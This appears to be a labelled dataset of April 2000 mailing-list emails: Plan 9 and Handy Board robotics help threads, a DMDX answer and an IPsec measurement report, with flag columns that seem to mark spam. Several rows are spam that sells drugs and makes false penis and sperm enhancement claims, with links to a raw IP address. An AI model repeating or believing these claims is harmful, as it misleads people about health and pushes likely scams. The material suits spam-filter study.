cop out. Unless lawyers are running the company, managment > makes those decisions, lawyers just execute. Lucent is a big company and the desires of a few researchers to give company software away do not pull much weight. -rob ",0,0 forsyth@caldo.demon.co.uk,9fans@cse.psu.edu,"Thu, 20 Apr 2000 14:47:33 -0000",Re: [9fans] re: license terms?,">> >it goes. Please do not lobby us on the issue; it is beyond our >>>control, in the hands of corporate lawyers. >>That's a bit of a cop out. Unless lawyers are running the company, managment >>makes those decisions, lawyers just execute. i suspect that caused a few wry smiles. ",0,0 Ish Rattan ,9fans@cse.psu.edu,"Thu, 20 Apr 2000 10:26:17 -0400",[9fans] Patching code etc..,I have made some progrees. A few more questions for you.. 1. How can I enter 1/2 of 81/2 (from keyboard in SAM)? 2. Single terminal PC(so far). Logged in as user tor. Executed command disk/kfscmd allow. Made a copy of /sys/src/* as /sys/src-clean/* (around 45Mb). a) How to compile the sources (eg. a new kernel image)? What subtree of the source contains info? b) Downloaded Vadim's code for cpu-terminal functionality. The code patch is of the form.. ed - /sys/src/cmd/init.c << END_OF_FILE ... END_OF_FILE What is the correct way to apply it? I tried rc < patch-file but no changes were made to files!! Any pointers will be appreciated. - ishwar,0,0 Nigel Roles ,"""'9fans@cse.psu.edu'"" <9fans@cse.psu.edu>","Thu, 20 Apr 2000 15:30:39 +0100",RE: [9fans] Patching code etc..," I have made some progrees. A few more questions for you.. 1. How can I enter 1/2 of 81/2 (from keyboard in SAM)? Hold down alt and type 12. ",0,0 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Thu, 20 Apr 2000 10:43:09 -0700",[DMDX] Re: Error rates,"At 06:49 PM 4/19/00 -0500, you wrote: >Hi all, > >I am running a picture naming experiment using the VOX, and I think it's >working fine. (Thanks to all who got me to this point with DMDX!) > >My question is: what do the error rates mean? Usually I see a 0% Error >Rate when there is an RT and a 100% error rate when there is a timeout >error, but I've also seen error rates of 3%, 5%, 6% etc and I don't know if >that means I should throw out those items. > >Thank you. >Louise Neary >UIUC The error rates in a picture naming experiment are not very informative. The only way an ""error"" can occur is if subject fails to respond or the VOX fails to trigger. DMDX gives you an idea of what the error rate is like after each trial in the experiment. In a lexical decision experiment, an error means the subject pressed the wrong button, so the cumulative error rate tells you whether the subject is coping with the task. If the subject makes an error on the very first trial, the error rate will be reported as 100% . If the subject gets the next item right, the error rate will drop to 50%, etc. So in a naming experiment, the error rate reported by DMDX simply tells you how often the VOX did not trigger, and it does not mean that the item should be discarded. The only error rates you need to be concerned about are the error rates when you analyze the results at the end of the experiment. --Ken Forster ",0,0 Jose Luis ,handyboard@media.mit.edu,"Thu, 20 Apr 2000 18:20:57 -0300",sonar test,"Hi, I have connect the sonar to the exp. board, and when I run the function sonar_visual(), then the sonar began to click but I only get this: *****, I believe that the connectios are OK, if I disconect Digital 7, the display shows random numbers changing all the time. Can anybody help me? Thank You. José Luis ",0,0 Jonathan Pennington ,handyboard@media.mit.edu,"Fri, 21 Apr 2000 01:58:09 +0000",Re: New Servo Routines?,"* Giang Tran [000420 21:49]: > You can still stop your hacked servos even if you're using the expansion > board. If you hacked the servos right, your servos should slow down > considerably at around 2000-2220 uS pulse width. It might even stop at 2000 > if you're lucky. If not, increase or decrease the pulse width until the > hissing sound of the servos disappeared. Silly me, I wasn't thinking that there would still be a mid point to the resistance. I was stuck on the fact that the new resistors would trick it into thinking that it never reached it's set point at either end, forgot all about the middle. Thanks! -- Jonathan Pennington | A computer without Windows john@coastalgeology.org | is like a dog without bricks http://www.coastalgeology.org | tied to its head.",0,1 Zengfa Gao ,handyboard@media.mit.edu,"Fri, 21 Apr 2000 05:05:00 +0000",From Mac to Linux,"Hi, Guys: I meet a strang problem. We developed robot under Mac using IC version 3.1, everything works. Now we move to linux, we let fd(2), but it goes backward, we let bk(3), it goes forward. fd(3) and fd(3) is good. Sonar works. But our four servos totolly goes wrong. Configuration of our linux: SUSE 6.2, IC version 2.86 Configuration of our Mac: IC version 3.1 Does anyone know what's the problem? Thanks for your help! Zengfa ~*~*~*~*~*~*~*~*~*~*~*~*~*~ Zengfa Gao 939 Buena Vista Dr SE Apt#F-103 Albuquerque,NM87106 Telephone:(505)924-2234 ~*~*~*~*~*~*~*~*~*~*~*~*~*~ ",0,0 Taylor Chang ,Rosetta ,,re[22]:," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! 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I need help quick as my project has to be in next week!! Cheers Brendan ",0,0 Jose Luis ,"BobNMar1ey@aol.com, handyboard@media.mit.edu","Fri, 21 Apr 2000 16:46:44 -0300",sonar test and others,"Hi, My sonar is working!, I checked the wires and noticed that when soldered J12, I forget to cut the tail of the wire, maybe this was making contact with other part of the HB, I have also noticed the limitation to measure more than 2.6 m. , has anybody find a way to get more range?. Also I have a dumb question, any time I start the Interactive C it load all the libraries to the HB and I lost the program that was in memory, is that normal? And the last one, I have also the GP12, but Im not sure about what trace I must cut, I have seen a picture in a link at this list, but in that, there where 3 wires cutted and a wire bridge connected. Can I cut only the wire of Analog0, to leave all the analogs in the exp board without the pullup? Any problems with that? Thank You, and sorry for making to much questions. Jose Luis ----- Original Message ----- From: To: Sent: Thursday, April 20, 2000 10:48 PM Subject: Re: sonar test > maybe you have a bad chip?... u can get new ones from acroname.com > > Also, have u inserted the cap in C7?... if it's a polarized one, is it in the > right way? > > John >",0,0 Randell ,"9fans@cse.psu.edu, jacquelyn@cse.psu.edu, marjorie@cse.psu.edu, susie@cse.psu.edu, kevin@cse.psu.edu, frieda@cse.psu.edu","Fri, 21 Apr 2000 16:06:54 -0300",new generation Mathew ," ED Choice, your best choice for ED drugs Viagra 100mg - $1.56 /pill Viagra SOFT $1.89 /pill NEW! Cialis $3.00 /pill Cialis SOFT $3.33 /pill NEW! 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Martin"" ",handyboard@media.mit.edu,"Sat, 22 Apr 2000 12:08:56 +0000",Re: RCX vs. HandyBoard,"the HB FAQ has some of this. there is a listing of the specific features of the HB. see http://el.www.media.mit.edu/projects/handy-board/faq/ fred In your message you said: > is there a website that gives a side-by-side comparison of the features of th e > handyboard vs. the RCX? i'm giving a series of talks to professors about the > rcx and robolab, and some of them have asked about the handyboard, but i don' t > know a whole lot about it. > > if you could bcc me at ben@alum.mit.edu that would be great. > > i'm also looking for a similar side-by-side comparison of robolab vs. other > programming environments. i.e. are there other languages for the rcx that ca n > do as much as robolab can? piano player, internet control, data analysis > (fft, etc.) with LabVIEW, graphing package, direct control over the net, > etc.??? > > -ben erwin > ",0,1 David Young ,handyboard@media.mit.edu,"Sun, 23 Apr 2000 00:53:03 +1200",wits end with PWM measurement,"Dear All I'm at my wits end on this one. It's a little routine to measure on PA0 a pulse width of a PWM signal generated on PA7. The two pins are linked with a jumper. I've looked through all the books and and handyboard archive, but all I get is values that just don't seem to make sense. Can anyone tell me where I'm going wrong. TIA David young void main() { int period=1500; /* High period for PWM signal on PA7 */ int TIC3 = 0x1014; /* TIC3 at $1014 and $1015 (connected to PA0) */ int TCTL2 = 0x1021; /* TCTL2 (input capture register) at $1021 */ int TFLG1 = 0x1023; /* TFLG1 (input capture flag register) at $1023 */ int rising_edge; int falling_edge; servo (period); /* PWM signal on PA7 - connected to PA0 by jumper */ servo_on (); /* Detect a signal at PA0 on its rising edge -> set bit #0 to 1 and #1 to 0 */ bit_set(TCTL2,0); bit_clear(TCTL2,1); bit_set(TFLG1,0); /* Clear TFLG1 */ while (peek(TFLG1) & 0x01 != 0x01){} /* Loop until the capture flag for PA0 is set*/ /* Get rising edge time in TIC3 */ rising_edge = peekword(TIC3); /* Detect a signal at PA0 on its falling edge -> set bit #0 to 1 and #1 to 1 */ bit_clear(TCTL2,0); bit_set(TCTL2,1); bit_set(TFLG1,0); /* Clear TFLG1 */ while (peek(TFLG1) & 0x01 != 0x01) {} /* Loop until the capture flag for PA0 is set*/ /* Get falling edge time in TIC3 */ falling_edge = peekword(TIC3); printf(""Pulse range = %d"", rising_edge); printf("" %d\\n"", falling_edge); servo_off(); } ",0,0 Frankie Lai <97139371d@polyu.edu.hk>,handyboard@media.mit.edu,"Sat, 22 Apr 2000 20:11:46 +0000",IR communication power,"Hi everyone, I am now trying to use the IR transmitter and receiver to communicate two HB. The method seems work, but the main problem is the transmitter power is seems too weak. My HBs can only communicate within a few inches. My question is: Is there any method to increase the IR transmitter power using the same port? Thanks, Frankie Lai 97139371d@polyu.edu.hk ",0,0 Jonathan Pennington ,handyboard@media.mit.edu,"Sun, 23 Apr 2000 15:03:39 +0000",Servo function (new?),"Hello all, here's a servo function that I worked up. It's really very simple, but I figured that someone else might want to use/hack it up. My problem was that I wanted to be able to set the servo (non-continuous) at *any* point in its travel easily. I decided to do it by percentage. This was because doing it by degrees meant that I'd have to calculate the total number of degrees that the servo had in the first place (since they're not exactly 180). I guess I'll still have to do that if I need a more precise function, but I don't right now. -------------cut here------------------- /* minimum and maximum travel values for my servos. I use conservative numbers because some can use 4600, but some squeal like hell at that value. You'll obviously want to change these. */ int servo_0 = 500; int servo_100 = 4000; /* my micro servos have different values */ int mc_servo_0 = 950; int mc_servo_100 = 4400; /* THe argument ""servo"" is for the model, I actually use 3-4 different ones, all with different values. If you only have one, take this an dthe if statement out. */ int set_servo (int servo, int value) { float p,point; int range,min,max; /* Find out which kind of servo it is using model number */ if (servo == 3101) { /* Futaba 3101 is a micro servo */ min = mc_servo_0; max = mc_servo_100; } else if (servo == 3003) { /* Futaba 3003 is a regular servo */ min = servo_0; max = servo_100; } /* Get total range of travel */ range = max-min; /* Calculate value as a percentage */ p = ((float) value) / 100.; /* Find point of travel that is x percent of total. If you don't add the minimum value, 100% will be equal to range, not max. 0% will be way out of range on the low end.*/ point = p * ((float) range) + ((float) min); return ((int) point); } -------------cut------------------- like I said, it's simple, but it might stop somone from reinventing the wheel, so to speak. -J -- Jonathan Pennington | A computer without Windows john@coastalgeology.org | is like a dog without bricks http://www.coastalgeology.org | tied to its head. ",0,1 Ben Erwin ,handyboard@media.mit.edu,"Sun, 23 Apr 2000 22:25:11 +0000",Re: RCX vs. HandyBoard,"Here are some more specific questions that I still have: 1) Can two handyboards communicate with each other from a distance?, either in the same room (i.e. infrared) or via the internet? 2) Besides Interactive C, what exactly are the other ways that one can program the handyboard? has anyone created a more intuitive graphical interface? 3) Does the handyboard have a speaker that can play different frequencies like the RCX (or can one be added as an output?) ? 4) Exactly how many sensors can be used at once with the handyboard w/o the expansion board? (I read 4 outputs, but couldn't find the number of sensors) 5) How fast can the handyboard acquire data? (RCX is 100-150Hz max) 6) How many different programs can be stored at once on the handyboard? (RCX: 5) 7) How many multiple tasks can be run on the handyboard at the same time? (RCX: 12) 8) How many timers does the handyboard have? (RCX: 4) 9) Exactly how easy is it to attach LEGO or other components to the handyboard? 10) What is the size of the analog-digital conversion? (RCX: 10 bit) -Ben p.s. dialup is really slow in china, so text answers are preferred to downloading files or surfing sites! In lugnet.robotics.handyboard, Fred G. Martin writes: >the HB FAQ has some of this. there is a listing of the specific >features of the HB. > >see > > http://el.www.media.mit.edu/projects/handy-board/faq/ > >fred > >In your message you said: >> is there a website that gives a side-by-side comparison of the features of th >e >> handyboard vs. the RCX? i'm giving a series of talks to professors about the >> rcx and robolab, and some of them have asked about the handyboard, but i don' >t >> know a whole lot about it. >> >> if you could bcc me at ben@alum.mit.edu that would be great. >> >> i'm also looking for a similar side-by-side comparison of robolab vs. other >> programming environments. i.e. are there other languages for the rcx that ca >n >> do as much as robolab can? piano player, internet control, data analysis >> (fft, etc.) with LabVIEW, graphing package, direct control over the net, >> etc.??? >> >> -ben erwin >> ",0,1 Lo Veng Cheong ,handyboard@media.mit.edu,"Sun, 23 Apr 2000 23:58:55 +0000",driving servos by the handy board!,"Dear Sir, I am a new user of the handyboard. In a robot project of building a manipulator, I have to drive for at least 3 servo motors. I have found the routines for driving two servo motors at the same time from the handyboard info website. But, if I need to drive for 3 motors at the same time. Can the handyboard (without the expansion board) do this? Also, according to the servo routines, it says that it generates output signals on Port A bit 7 and Port A bit 5. I don't know which pins on the digital input pins are corresponding to these two? Thank you for your reply! Raymond Law ",0,0 Ish Rattan ,9fans@cse.psu.edu,"Mon, 24 Apr 2000 11:20:58 -0400",[9fans] Request for vgadb etc.,"System is PC terminal (only). I downloaded the boddle 87196735.rc (for /sys/src/cmd/aux/vga/*) and applied it against the CD distribution. Mk reports a screenful of errors. Can some one out there give me a copy of a recent aux/vga and vgadb? Thanks in advance, - ishwar ",0,0 """Curt Mills, WE7U"" ",Ben Erwin ,"Mon, 24 Apr 2000 08:41:46 -0700",Re: RCX vs. HandyBoard,"On Sun, 23 Apr 2000, Ben Erwin wrote: > 2) Besides Interactive C, what exactly are the other ways that one can program > the handyboard? has anyone created a more intuitive graphical interface? Here's one I can answer, at least a little bit: There's an HC11 port to gcc-2.8.1 and a Handyboard library to go with it. There's also a GCC-2.9.5 version out there. http://www.eskimo.com/~archer will get you to either one. I program my Handyboard using Linux and GCC instead of Interactive-C. I'd only recommend it for the more advanced users though. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,1 rybskip@idcnet.com,robotalert-l@uwwvax.uww.edu,"Mon, 24 Apr 2000 21:42:03 -0500",Re: RCX vs. HandyBoard,"On Sun, 23 Apr 2000, Ben Erwin wrote: > 2) Besides Interactive C, what exactly are the other ways that one can program > the handyboard? has anyone created a more intuitive graphical interface? Here's one I can answer, at least a little bit: There's an HC11 port to gcc-2.8.1 and a Handyboard library to go with it. There's also a GCC-2.9.5 version out there. http://www.eskimo.com/~archer will get you to either one. I program my Handyboard using Linux and GCC instead of Interactive-C. I'd only recommend it for the more advanced users though. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,1 George Musser Jr ,handyboard@media.mit.edu,"Mon, 24 Apr 2000 22:43:02 -0400",ICn for a Mac?,"Has anyone ported Kurt Konolige's ICn compiler to the Mac or MSDOS? Thanks! George Musser georgejr@musser.com ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com ",0,1 LO VENG CHEONG ,handyboard@media.mit.edu,"Tue, 25 Apr 2000 19:11:33 +0000",Any other handyboard resources?,"Dear friends, Can anyone tell me where can I find some more references on the handyboard and the Interactive C programming (other than the MIT handyboard homepage)? I have built the handyboard from Hong Kong. I have read the handyboard technical reference but I think I still get not enough in the IC programming so I would like to ask whether there can be some source code made by the other before so that I can get some more examples. Thank you very much! Your sincerely, Raymond Law (from Macau) ",0,0 """J.M. Mongeau"" ",handyboard@media.mit.edu,"Tue, 25 Apr 2000 20:24:58 +0000",Robotic Simulation,"Hello. For one of my project in robotic, I would like to create a computer simulation (possibly 3D) in order to show the special functions performed by my robot. I would like this program to run under a windows (9x or NT) or linux platform and run smootly on a PII 400MHz with 64MB of RAM. Any suggestion(s) would be appreciated to accomplish such task. Thank you, J.-M. Mongeau ",0,0 Chuck McManis ,"""J.M. Mongeau"" , handyboard@media.mit.edu","Tue, 25 Apr 2000 14:18:02 -0700",Re: Robotic Simulation,"Do you actually want to do the simulation, or just show what your robot would do? The easiest way will be to create a model of your Robot in 3D Studio MAX then write the inverse kinematics rules as a MAX plug-in, then run the rules and capture the resulting animation. --Chuck At 08:24 PM 4/25/00 +0000, J.M. Mongeau wrote: >Hello. For one of my project in robotic, I would like to create a computer >simulation (possibly 3D) in order to show the special functions performed by >my robot. I would like this program to run under a windows (9x or NT) or >linux platform and run smootly on a PII 400MHz with 64MB of RAM. Any >suggestion(s) would be appreciated to accomplish such task. > >Thank you, > >J.-M. Mongeau ",0,0 Ish Rattan ,9fans@cse.psu.edu,"Tue, 25 Apr 2000 23:21:45 -0400",[9fans] Plan9 + S3 Trio64 vga card..,"I found anther PCI graphics card based on S3 Trio64 chip. The string is: 0xC0044=""Phoenix S3 TRIO64 Enhanced VGA BIOS. PCI Version 1.1"" and when entered into /lib/vgadb in `ctrl' line for other TRIO64 cards as ctlr 0xC0045=""Stealth 64 DRAM Vers. 2.02"" # Diamond Stealt 0xC0045=""Stealth 64 DRAM Vers. 1.14"" 0xC0045=""Stealth SE DRAM Vers. 1.01"" # Diamond Stealt 0xC0044=""Phoenix S3 TRIO32 Enhanced VGA BIOS. Version 1.3-08-12-57MHz"" 0xC0044=""Phoenix S3 TRIO64 Enhanced VGA BIOS. Version 1.3-08"" 0xC0044=""Phoenix S3 TRIO64 Enhanced VGA BIOS. Version 1.00-06"" 0xC0044=""Phoenix S3 TRIO64 Enhanced VGA BIOS. Version 1.2-07"" 0xC0044=""Stealth64 Video 2001"" # Trio64V+ link=vga hwgc=s3hwgc ctlr=trio64 link=ibm8514 seem to be recognized. When I try (monitor is set to multosync65) aux/vga -l 800x6000x1 (or 1024x768x1) the enhanced screen stays visible (pointer scales down) but the mouse buttons produce no effect (no menus).. looks like it did not work.. How do I mount an ATAPI CDROM (after installing the CD)? Any ideas? - ishwa ",0,0 David Young ,handyboard@media.mit.edu,"Wed, 26 Apr 2000 16:25:08 +1200",Modifying the tone( ) function ,"Dear All I need something like the tone( ) function, but I need to specify the port the signal is output to. Does anyone have some code to do this? Where does the code for the tone( ) function reside in the lib directory? Maybe I could copy it and modify it about to make my own. TIA David Young ",0,0 Will Bain ,Handyboard Mailing List ,"Wed, 26 Apr 2000 10:23:26 -0600",Re: Any other handyboard resources?,"> Dear friends, > Can anyone tell me where can I find some more references on the > handyboard and the Interactive C programming (other than the MIT > handyboard homepage)? I have built the handyboard from Hong Kong. I have > read the handyboard technical reference but I think I still get not enough > in the IC programming so I would like to ask whether there can be some > source code made by the other before so that I can get some more examples. > Thank you very much! > Your sincerely, Raymond Law (from Macau) Check out this link: http://www.newtonlabs.com/ic/manual.html I haven't read through the IC manual yet, but the table of contents looks promising. Best of luck! -- Will +---------------------------------------------------------+ | ^^ <^ ^> | | / òó ó°° \\ | | / =Y= U \\ | | Wendy, Will, Tatoosh & Tenzing | +---------------------------------------------------------+ If the world were a logical place, men would ride sidesaddle. -- Rita Mae Brown",0,1 Harriet Christie ,9fans@cse.psu.edu,"Wed, 26 Apr 2000 20:04:45 -0500",Customer recognition with your custom logo (ID8839696),"gu1 Our art team creates a custom logo for you, based on your needs. Years of experience have taught us how to create a logo that makes a statement that is unique to you. In a professional manner we learn about your image and how you would like the world to perceive you and your company. With this information we then create a logo that is not only unique but reflects the purpose of you and your company. For value and a logo that reflects your image, take a few minutes and visit Logo Maker! http://angling.net.logotip-marke.com Sincerely, Logo Design Team amoral addressee amateur ",1,1 Ish Rattan ,9fans@cse.psu.edu,"Wed, 26 Apr 2000 15:45:10 -0400",[9fans] Date and time..,"Plan9 terminal (standalone from CD). It comes out that cp /adm/timezone/US_Michigan /adm/timezone/local has no effect. Date command shows +8 hours. Is there a way to roll the time back! - ishwar ",0,0 Steve Kotsopoulos ,9fans@cse.psu.edu,"Wed, 26 Apr 2000 15:59:07 -0400",Re: [9fans] Date and time.. ,"The terminal and cpuserver kernels try to set the time when booting, and the code in devcons.c only allows the time to be set once, so if the time is set incorrectly when booting you can't fix it until you're running a modified kernel which allows >1 writes to /dev/time. Steve Ish Rattan wrote: > Plan9 terminal (standalone from CD). > > It comes out that > > cp /adm/timezone/US_Michigan /adm/timezone/local > > has no effect. Date command shows +8 hours. Is there a way to > roll the time back! > > - ishwar > ",0,0 rob pike ,9fans@cse.psu.edu,"Wed, 26 Apr 2000 16:23:28 -0400",Re: [9fans] Date and time.. ,"try cp /adm/timezone/local /env/timezone this should work for subsequent commands in that window, but unfortunately will not affect running programs. -rob ",0,0 Silas ,'Felicia' ,"Wed, 26 Apr 2000 11:29:50 -0700",how to increase sperm count ," Hi friend: We have quality product to help you Enjoy better sex life. All products come with 100% money back guarantee http://62.193.225.122/sm/ Increase your sperm vol by 500% guaranteed http://62.193.225.122/ps/ Add 3inchs to your penis size or we refund http://62.193.225.122/et/ New formula enjoy sex longer chipg7890hj ",1,1 Bryon ,9fans@cse.psu.edu,"Thu, 27 Apr 2000 02:46:56 +0000",Fwd: Re[2]: maybe interesting for you.,"Hi there, Try this special product, Cialis. We have millions of happy customers alI around the worId .You wilI get the perfect feeIinq of being a man again! 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I used a monitoring station on the plaintext side of one of our IPsec gateways to gather 7,000,000 packets in three sessions, two afternoon and one evening. Note carefully that this experiment is preliminary and small-scale. That particular gateway is a Linux box running FreeSWAN; it serves about 180 homes running Linux IPsec appliances (for details on the setup, see http://www.quintillion.com/moat/lisa-moat.ps or .pdf). Most of our endpoints have high-quality (i.e., short path) connections to the gateway. Packet headers were captured via tcpdump; lacking access to the ciphertext (and hence the SPI), I intuited the SA from the remote IP address and knowledge of our address assignment plan. Thus, since most people are assigned /29s, I assumed that I could mask off the low-order three bits of IP addresses in that range and get the security association. I split the received traffic depending on whether the gateway was encrypting or decrypting the packet. Users of this gateway typically have either a non-Windows machine or more than one machine on a home LAN. (People with a single Windows machine generally use a software client, and are homed on a different gateway.) I picked up converstations to about 145 home networks, and about 300 different machines. I made no attempt to account for rekeying; that should be infrequent enough that it wouldn't affect key agility requirements. The network behavior was about as expected. There were more packets to the home than from it (4,189,877 vs. 2,810,123) and many more bytes (1,705,033,395 vs. 297,915,963), for an average of 406 bytes/packet downstream and 106 bytes/packet upstream. While I haven't yet analyzed packet size distributions for upstream vs. downstream, the different average sizes certainly suggest that a larger percentage of the upstream packets are made up of tinygrams. To assess the key agility requirements, I simulated an LRU cache of infiite depth. The number of cache hits at a given depth should then indicate how large a cache would be needed to avoid a new key schedule calculation. (Note: I think that this approach is reasonable -- does anyone disagree?) I could have, but didn't, discard cache entries when too much time had elapsed since the last use, thus indicating a likely rekeying operation. To achieve an 80% hit rate, a cache size of 5 entries is needed for the encrypt (to the home) side, while a 8-element cache would be needed for decryption. To achieve a 95% hit rate, 11 and 17 element caches would be needed. The cache size differences agree with intuition. The gateway decrypt side requires a bigger cache than the encrypt side to achieve the same hit rate; this is probably a function of the mechanisms I suggested a few days ago: smaller packets which allow for more interleaving, delayed ACK strategies, and some lack of ""packet trains"". IPsec decryption is in some sense more demanding than encryption; since MAC-checking can be done in parallel with decryption, multiple packets can be decrypted back-to-back, without needing to reuse the data path for serial encrypt/MAC generation. On the other hand, the upstream data rate was considerably less, allowing more time for key-switching. I did some preliminary analysis of packet train lengths. Downstream packets show some evidence of packet clustering, though not as much as I had expected -- 60% of the trains downstream were of length 1, compared with 70% of upstream trains. I'm not sure what further analyses I should perform on this data. I do caution people that these are small-scale measurements from one site; I would be very interested to see data from other sites with IPsec gateways, especially big gateways. As I noted, I saw less than 150 SAs; it is not clear to me what would happen with 1500 or 15,000 SAs. For actual assessment of key agility requirements, a larger study is needed. I've attached the output summary files. The first column is the LRU depth; the second is the number of hits at that depth, and the third is the cumulative packet percentage for that depth. (The first line is the number of different SAs, and while it does figure into the cumulative percentages, its effect is obviously minimal.) ",0,1 Ish Rattan ,9fans@cse.psu.edu,"Thu, 27 Apr 2000 14:06:41 -0400",[9fans] /sys/include/libtiff.h ..,"Plan9 terminal (standalone from CD). I am trying to put in the updates into the source. I have problem compiling (via mk all) /sys/src/fb/tiff2pic.c 8c tiff2pc.c /sys/include/libtiff.h:263 tiff2pic.c:6 syantax error last name: ap .. Looks I need an updated /sys/include/libtiff.h? Where can I find a copy? - ishwar ",0,0 forsyth@vitanuova.com,9fans@cse.psu.edu,"Thu, 27 Apr 2000 19:27:08 -0000",Re: [9fans] /sys/include/libtiff.h ..,"it needs included somewhere for the old system; the update assumes that has the definitions, which was true for the slightly newer version of the system on which the updates were done.",0,0 Ish Rattan ,9fans@cse.psu.edu,"Thu, 27 Apr 2000 14:18:37 -0400",[9fans] /sys/include/libtiff.h again..," It seems that a declaration of type va_list arg; is the problem? Any pointers? - ishwar ",0,0 frank tanner ,apt-req@stsci.edu,"Thu, 27 Apr 2000 21:53:08 -0400",APT/VTT 0.2 Software Delivery Notice,"APT/VTT Software delivery notice. APT/VTT version 0.2 has been delivered to operational and can be accessed through the use of hot-vtt (note, this is a new script). The following OPRs were included in this version: APT/VTT OPRs: ============= 41040 20. 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A x86 only release of Plan9 would be quite expensive to me, even if it was given away for nothing... Have I misunderstood? Perhaps this was a binary only 4 floppy distro that was mentioned, not the real thing? Best Wishes, Bengt =============================================================== Everything aforementioned should be regarded as totally private opinions, and nothing else. bengt@softwell.se ``His great strength is that he is uncompromising. It would make him physically ill to think of programming in C++.'' ",0,1 rob pike ,9fans@cse.psu.edu,"Fri, 28 Apr 2000 09:26:32 -0400","Re: [9fans] (the potential) new release of Plan9, i386 only?","There will be sources for lots of architectures. The binaries and libraries packaged in the distribution will be compiled only for the 386. -rob ",0,0 Ish Rattan ,9fans@cse.psu.edu,"Fri, 28 Apr 2000 09:30:21 -0400",[9fans] file ?," Where can I find a copy of the above mentioned file (/sys/include/u.h)? - ishwar ",0,0 Bengt Kleberg ,9fans@cse.psu.edu,"Fri, 28 Apr 2000 15:36:47 +0200","Re: [9fans] (the potential) new release of Plan9, i386 only?","> From: ""rob pike"" > There will be sources for lots of architectures. The binaries and libraries > packaged in the distribution will be compiled only for the 386. If I borrow a x86 machine I should be able to compile Sparc binaries and install them. Good.",0,0 Digby Tarvin ,9fans@cse.psu.edu,"Fri, 28 Apr 2000 14:40:49 +0100","Re: [9fans] (the potential) new release of Plan9, i386 only?","> Greeitngs, > > After a reading a real downer (it would not get me down if it was not correct :-( > about Systems Software Research (http://cm.bell-labs.com/who/rob/utah2000.ps) > I suddenly realised that among the items in the talk was the fact that the (potential) > next release of plan9 would be x86 only. no more multi platform. > > I have 3 SparcStations and one Macintosh. A x86 only release of Plan9 would be > quite expensive to me, even if it was given away for nothing... > > Have I misunderstood? Perhaps this was a binary only 4 floppy distro that was mentioned, > not the real thing? I quite agree. The PC clones may be cheap and fast, but they are anything but elegant. I figure that those people with enough good taste to use Plan9 in preference to the far more prevalent Microsoft/Apple alternatives are the same people that are likely to have good taste in hardware as well. I could live with a distribution that perhaps only came with Intel binaries, but at least had the sources and cross compilers to allow building of systems for other architectures. I have two Sparc2's which are not fast, but they are nicer to work on and have lasted much better than Intel machines of similar vintage. One thing I would like to see added to the Plan9 distribution, as far as cross platform compatibility is concerned, is PowerPC support. Regards, DigbyT -- Digby R. S. Tarvin digbyt@acm.org http://www.cthulhu.dircon.co.uk ",0,1 forsyth@vitanuova.com,9fans@cse.psu.edu,"Fri, 28 Apr 2000 14:56:10 -0000",Re: [9fans] file ?,">>Where can I find a copy of the above mentioned file (/sys/include/u.h)? it's already there: it's machine dependent and thus is one of the few files not in /sys/include but in /$objtype/include (along with stdarg.h). ",0,0 Digby Tarvin ,9fans@cse.psu.edu,"Fri, 28 Apr 2000 14:56:08 +0100","Re: [9fans] (the potential) new release of Plan9, i386 only?","> > From: ""rob pike"" > > There will be sources for lots of architectures. The binaries and libraries > > packaged in the distribution will be compiled only for the 386. > > If I borrow a x86 machine I should be able to compile Sparc binaries and > install them. > Good. That makes me happy too. The installation has always assumed the availability of an Intel PC to bootstrap the process, so getting it to build the binaries as well is not too much of a hardship. Especially as any cautious person would re-build the system from sources after installation anyway - especially before trying to modify anything. And if the removal of the binaries means the addition of new functionality to the CD, I am all for it. Does any know what, if any, concessions purchasers of the original distribution will get with regard to a new release? That is, is there an upgrade price, or do we just buy again? (I didn't catch the origin of this thread, so I appologise if this has been asked before) Regards, DigbyT -- Digby R. S. Tarvin digbyt@acm.org http://www.cthulhu.dircon.co.uk",0,1 forsyth@vitanuova.com,9fans@cse.psu.edu,"Fri, 28 Apr 2000 15:11:20 -0000","Re: [9fans] (the potential) new release of Plan9, i386 only?",">>One thing I would like to see added to the Plan9 distribution, >>as far as cross platform compatibility is concerned, is PowerPC >>support. support for the powerpc has been here and there in some form for four or five years (i ported the compiler suite years ago, and did some more work on it for Plan 9 and Inferno work over the years). if it's not in the plan 9 release, i'll provide it. if it is in the release, i'll synchronise sources. the problem up to now has been that it's not straightforward to release the compiler modifications generally under the old licence. if you could stomach it, you have been able to get a load of boddles for some time from http://www.caldo.demon.co.uk/plan9/soft/power.html. i've made some code improvements to it since then (1998) as part of Inferno work. at some stage i'll synchronise sources. it included Alef, so i was using Acme on a powerpc. i haven't used the 603/603e Plan 9 kernel for well over a year (just lack of time); in multiprocessor mode, i had it going only as a cpu server because of (old) pc driver restrictions and a few other cache-coherency problems. ",0,1 Digby Tarvin ,9fans@cse.psu.edu,"Fri, 28 Apr 2000 15:21:53 +0100","Re: [9fans] (the potential) new release of Plan9, i386 only?","> support for the powerpc has been here and there in some form for > four or five years (i ported the compiler suite years ago, and did some more > work on it for Plan 9 and Inferno work over the years). if it's not in the plan 9 release, > i'll provide it. if it is in the release, i'll synchronise sources. > the problem up to now has been that it's not straightforward > to release the compiler modifications generally under the old licence. > if you could stomach it, you have been able to get a load of > boddles for some time from http://www.caldo.demon.co.uk/plan9/soft/power.html. > i've made some code improvements to it since then (1998) as part of Inferno work. > at some stage i'll synchronise sources. it included Alef, so i was using Acme on a powerpc. > > i haven't used the 603/603e Plan 9 kernel for well over a year (just lack of time); > in multiprocessor mode, i had it going only as a cpu server because of (old) pc driver restrictions and a few other > cache-coherency problems. Thats great. Thanks. It would obviously be nice if it were part of the release, and documented in any updated release of the manuals, but I guess I am just being lazy. So long as it is available in some form I can't complain. Would you know off hand if the work that has been done has included support for my little Motorola MBX board? I have gotten Linux to boot on it, but it is still a little fragile. Regards, DigbyT -- Digby R. S. Tarvin digbyt@acm.org http://www.cthulhu.dircon.co.uk ",0,1 Richard Drushel ,handyboard@media.mit.edu,"Fri, 28 Apr 2000 12:27:19 -0400","CWRU LEGO Robot Egg Hunt Competition (Sunday, 30 